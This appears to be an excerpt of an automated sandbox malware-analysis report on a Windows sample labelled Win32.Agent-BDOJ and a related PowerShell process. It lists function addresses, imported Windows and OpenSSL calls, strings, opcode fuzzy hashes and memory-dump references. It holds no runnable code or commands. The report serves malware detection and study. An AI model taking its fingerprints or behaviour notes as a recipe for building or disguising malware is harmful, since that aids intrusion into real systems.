Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026570
String ID: ..\s\ssl\d1_srtp.c$ssl_ctx_make_profiles
API String ID: 1666080152-118859582
Opcode ID: d53d6f7ddc0b937121d58bd9f7a70022747d411cd2a28debb74a18ce98306501
Instruction ID: 53bb32ebc6aa9e0c6269495bf1b92b518b1d32396af8bce54209d329a6f269b6
Opcode Fuzzy Hash: d53d6f7ddc0b937121d58bd9f7a70022747d411cd2a28debb74a18ce98306501
Instruction Fuzzy Hash: 0451E621F0C68255FB659BD6E8067BE6291AF84FC4F544835DE2D577C6DE3CE8828302

Function 00007FF7EAD25B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD21760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD21793

_get_daylight.LIBCMT ref: 00007FF7EAD25C34
_get_daylight.LIBCMT ref: 00007FF7EAD25C45

Strings

?, xrefs: 00007FF7EAD25BC5

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: 0832f63381606b910b54b91cc4a58b1e48be86c60960d9c6e05e0e605ec3dc26
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: 01412922A0828242FB60EB25D50577AE760EB81BA4F944276EE5C07ADDFF3CD441C721

Function 00007FF7EAD19014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD19046

Part of subcall function 00007FF7EAD1A948: HeapFree.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7EAD0CBA5), ref: 00007FF7EAD19064

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, xrefs: 00007FF7EAD19052

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
API String ID: 3580290477-3707282323
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: 09989019731bc11d295b86d517404659dbd2b4d5995e343ae4d049c5235a4405
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: F3418C72A08A0286FB15EF31D8402BDA7A4EB55790B9540B6E94E47B99DE3CE4C1C322

Function 00007FF7EAD1CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7EAD1CD4F
GetLastError.KERNEL32 ref: 00007FF7EAD1CD71

Strings

U, xrefs: 00007FF7EAD1CCFB

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: a2595562d678dce318dea90b3f32f44ee078f15d798888efe63efa9cfaa06a50
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: BD41D632B18B5181EB60DF25E4443BAABA5FB98B84F804132EE4D87798EF3CD401CB51

Function 00007FF8E80D3420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E80D3490

Strings

_constructors, xrefs: 00007FF8E80D351A
openssl_, xrefs: 00007FF8E80D3486

Memory Dump Source

Source File: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026570
String ID: _constructors$openssl_
API String ID: 1666080152-3359357282
Opcode ID: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction ID: f8ed5b5d63f9e061501d17fa6fa5ae923730e2668367e1ce64926075b646c41d
Opcode Fuzzy Hash: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction Fuzzy Hash: EF31F722A09B0287EE258B95A99433D27A4BF49FD1F094035CE5D027E5EF3CE4858B4A

Function 00007FF8E7A4DBA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

SSL_SESSION_new, xrefs: 00007FF8E7A4DBED, 00007FF8E7A4DCA7
..\s\ssl\ssl_sess.c, xrefs: 00007FF8E7A4DBCF, 00007FF8E7A4DBF9, 00007FF8E7A4DCB3, 00007FF8E7A4DD03

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new
API String ID: 0-402823876
Opcode ID: feb9b1f341a818fe45b99e8c6c162b3a0b89dfbb9c9502528c471bd395979744
Instruction ID: 637ae8e2184f675c9b26383262a2017bc611067d541c150cbcca8fb9bdf573bf
Opcode Fuzzy Hash: feb9b1f341a818fe45b99e8c6c162b3a0b89dfbb9c9502528c471bd395979744
Instruction Fuzzy Hash: 9D31E620B09A8242FB55ABB5E8563FD2291FF887C4F884135DA2C477C6EF3CE1918302

Function 00007FF8E80D59E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

00007FF8E6784124.LIBCRYPTO-3 ref: 00007FF8E80D5AB7

Strings

key is too long., xrefs: 00007FF8E80D5A33
msg is too long., xrefs: 00007FF8E80D5A5B

Memory Dump Source

Source File: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: 00007E6784124
String ID: key is too long.$msg is too long.
API String ID: 2720604592-4266787399
Opcode ID: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction ID: a0a0a5b0f6ed0af8f26d8e8cc4f7a16471a6c668f150110a02e2893a720bc1eb
Opcode Fuzzy Hash: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction Fuzzy Hash: B5314922A0CB8287EA20CB95E45037E63A0FB89BC4F444231DE9D47BD4DF7CE0458B06

Function 00007FF8E7A280D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF8E7A2811D
SystemTimeToFileTime.KERNEL32 ref: 00007FF8E7A2812D

Strings

gfff, xrefs: 00007FF8E7A2815F

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction ID: 28636ee2310a762c2f74da2b60308a4c5758b4675ba16397bb5dacc91cdfd48e
Opcode Fuzzy Hash: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction Fuzzy Hash: E721E672B0868686EB94CFA9D40277D76E4E788BC8F448035EA5DC7795DE3CD1418702

Function 00007FF7EAD1F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7EAD1F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7EAD1F64A

Strings

:, xrefs: 00007FF7EAD1F60E

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction ID: e5a636bf4574df351d9f193d1bc54ae2bd4c38df9f6831aaec94935af671b0e1
Opcode Fuzzy Hash: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction Fuzzy Hash: 9421C362B0864181FB20EB21D04436DA3E1FBA8B44FC5417BD69D43698DF7CE545CB62

Function 00007FF7EAD0FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7EAD0FD98
RaiseException.KERNEL32 ref: 00007FF7EAD0FDD9

Strings

csm, xrefs: 00007FF7EAD0FDC6

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 0f7d24ecbdfb765eea94364325dd8b81555a85adc87ed2c9e4b4c66f6e34aa2a
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 5E112E32618B8182EB61DF15E44035AB7E5FB88B98F684671DB8D07758DF3CD551CB10

Function 00007FF7EAD2073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2076C
GetDriveTypeW.KERNEL32 ref: 00007FF7EAD207AC

Strings

:, xrefs: 00007FF7EAD20795

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 6ac71f684b0196dc91a5adc0b388a21a3753f3f1d86e1d51e424bfae0a360557
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 0F018F6291C20686F721FF60946537EA3A0EF58745FC10077D54D83699DE7CE904CB36

Function 00007FF8E7A28B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00007FF8E7A283B4), ref: 00007FF8E7A28B36
SystemTimeToFileTime.KERNEL32(?,00007FF8E7A283B4), ref: 00007FF8E7A28B46

Strings

gfff, xrefs: 00007FF8E7A28B7A

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction ID: c772caa4f23d2346ca0b86c61077fe05ecd15184b6b6497cd99e8f35bee746b1
Opcode Fuzzy Hash: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction Fuzzy Hash: 3C01D6E2B1864582EB60DB6AF80225967D1FBCC7C8F449032E75DCBB65EE2CD2018B01

Function 00007FF8E8137E7C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

getprotobyname.WS2_32 ref: 00007FF8E8137EB5

Strings

s:getprotobyname, xrefs: 00007FF8E8137E88
protocol not found, xrefs: 00007FF8E8137ED8

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: getprotobyname
String ID: protocol not found$s:getprotobyname
API String ID: 402843736-630402058
Opcode ID: bd65c5a6a88a43393fd174900b5279529262fcd64829d65dad74d3ec7435cd69
Instruction ID: b394b34595add3da25030ec67a1c404293b37e70ab9279fb48a439a5f77c54cc
Opcode Fuzzy Hash: bd65c5a6a88a43393fd174900b5279529262fcd64829d65dad74d3ec7435cd69
Instruction Fuzzy Hash: 08012C25A1CB4282EA109BA1E98467D63A0FF8ABD5F460831CA4E47B14DF3CE448C70A

Function 00007FF8E8133C78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF8E8133CB9

Strings

255.255.255.255, xrefs: 00007FF8E8133C85
illegal IP address string passed to inet_aton, xrefs: 00007FF8E8133CCF

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: inet_addr
String ID: 255.255.255.255$illegal IP address string passed to inet_aton
API String ID: 1393076350-3844699235
Opcode ID: 228bed37441ba182da163e3ec653cc393a3f059738861f4e152d049502361bed
Instruction ID: 458f4b1894a1e524c85def6b8c0a747f48e03447201c99f6ef8479169cc4e112
Opcode Fuzzy Hash: 228bed37441ba182da163e3ec653cc393a3f059738861f4e152d049502361bed
Instruction Fuzzy Hash: D1F062A0A1CA4292EA109BB1F84427D2361AF85BE0F511231E92E466E0DF3CD088C70A

Analysis Process: powershell.exePID: 7820, Parent PID: 7700COMMON

Executed Functions

Function 00007FF886833DB1 Relevance: 2.6, Strings: 1, Instructions: 1357COMMON

Download Yara Rule

Strings

(7(k, xrefs: 00007FF886834707

Memory Dump Source

Source File: 0000000B.00000002.1546431489.00007FF886830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886830000_powershell.jbxd

Similarity

API ID:
String ID: (7(k
API String ID: 0-3806051746
Opcode ID: 6f18a2a2409ba23e3b6d7d154033bbf679fb813a46419400f71b06805e33fe09
Instruction ID: d1dae1ef7d8bfbbe98e0a09bff2d61409b78defda4047ea2f8557cb8e7a39d04
Opcode Fuzzy Hash: 6f18a2a2409ba23e3b6d7d154033bbf679fb813a46419400f71b06805e33fe09
Instruction Fuzzy Hash: 4782E222E0DBCB4FE3969A2859655B47BE1FF5A7A0F1902FBC08DC7193D9189C06C352

Function 00007FF8868367F5 Relevance: 1.7, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

X7(k, xrefs: 00007FF8868369ED

Memory Dump Source

Source File: 0000000B.00000002.1546431489.00007FF886830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886830000_powershell.jbxd

Similarity

API ID:
String ID: X7(k
API String ID: 0-2313428286
Opcode ID: 0bde99f6abb225ad5a5761bde1bff5cdc0349949c2a1e67445936cdb58d1d0c4
Instruction ID: 5ad618b1d2e1915f20c14b48d285cf473b3e3aac83cf12728673b1b7baa5a6bf
Opcode Fuzzy Hash: 0bde99f6abb225ad5a5761bde1bff5cdc0349949c2a1e67445936cdb58d1d0c4
Instruction Fuzzy Hash: E0D1F721E0DA8B4FE7969B6C48659B5BBE0FF5A390F1801FED44DCB093D918AC85C352

Function 00007FF88676BCFA Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

SR_H, xrefs: 00007FF88676BEF0

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID: SR_H
API String ID: 0-3537898935
Opcode ID: 718e3b1110a5f40b5c9f94a7936f1fa4ca1547bd8425c0f7caa81dab3b78c0ff
Instruction ID: 77a10931d63802d3c291b5ffe7b1ff14e0d840d88a92cc734a2e7826d00c2568
Opcode Fuzzy Hash: 718e3b1110a5f40b5c9f94a7936f1fa4ca1547bd8425c0f7caa81dab3b78c0ff
Instruction Fuzzy Hash: DBB13932A0CA958FE746EA1C84B55E47BE1FF52760F1842BEC189CB193EE257816C7C1

Function 00007FF886769E58 Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

Kfs, xrefs: 00007FF88676A241

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID: Kfs
API String ID: 0-118685348
Opcode ID: 90e73baad9fd6efa86b5ea97b90a716bfa81ada7a4c1f0c5f9c5c23710fb93a8
Instruction ID: 138253b875fbfbb3e91a6ecbfa3a80b183a392e4514288faedf4ab88bd0c0505
Opcode Fuzzy Hash: 90e73baad9fd6efa86b5ea97b90a716bfa81ada7a4c1f0c5f9c5c23710fb93a8
Instruction Fuzzy Hash: E1419023E0E6D64EEB43A76868751F67FA0FF53254B0942F7D088CB093E9196909C3C2

Function 00007FF88664E606 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

xrB, xrefs: 00007FF88664E693

Memory Dump Source

Source File: 0000000B.00000002.1540335231.00007FF88664D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88664D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff88664d000_powershell.jbxd

Similarity

API ID:
String ID: xrB
API String ID: 0-2425350093
Opcode ID: 6050160b71714ca60efe219cb34dd0e920e2d061e4a2d8bc3d35c7f06290a7f7
Instruction ID: 376fa8005dc35531dcae2d37c357873f5cdf4e0628c163004ea9c222d4d9c97d
Opcode Fuzzy Hash: 6050160b71714ca60efe219cb34dd0e920e2d061e4a2d8bc3d35c7f06290a7f7
Instruction Fuzzy Hash: 9841057180DBC44FE756DB29A8558523FF0FF52260B1905EFD088CB1A3D624AC86C762

Function 00007FF886769880 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850cd7204762d9d80bfafd5e2b87f1363ab60c4ebaba0ff5fed33b3cdb614026
Instruction ID: d5e8bcca0c3dfa88756acd4f4581ca90650ab7c49d2b57c4f68ae5b5985abeb8
Opcode Fuzzy Hash: 850cd7204762d9d80bfafd5e2b87f1363ab60c4ebaba0ff5fed33b3cdb614026
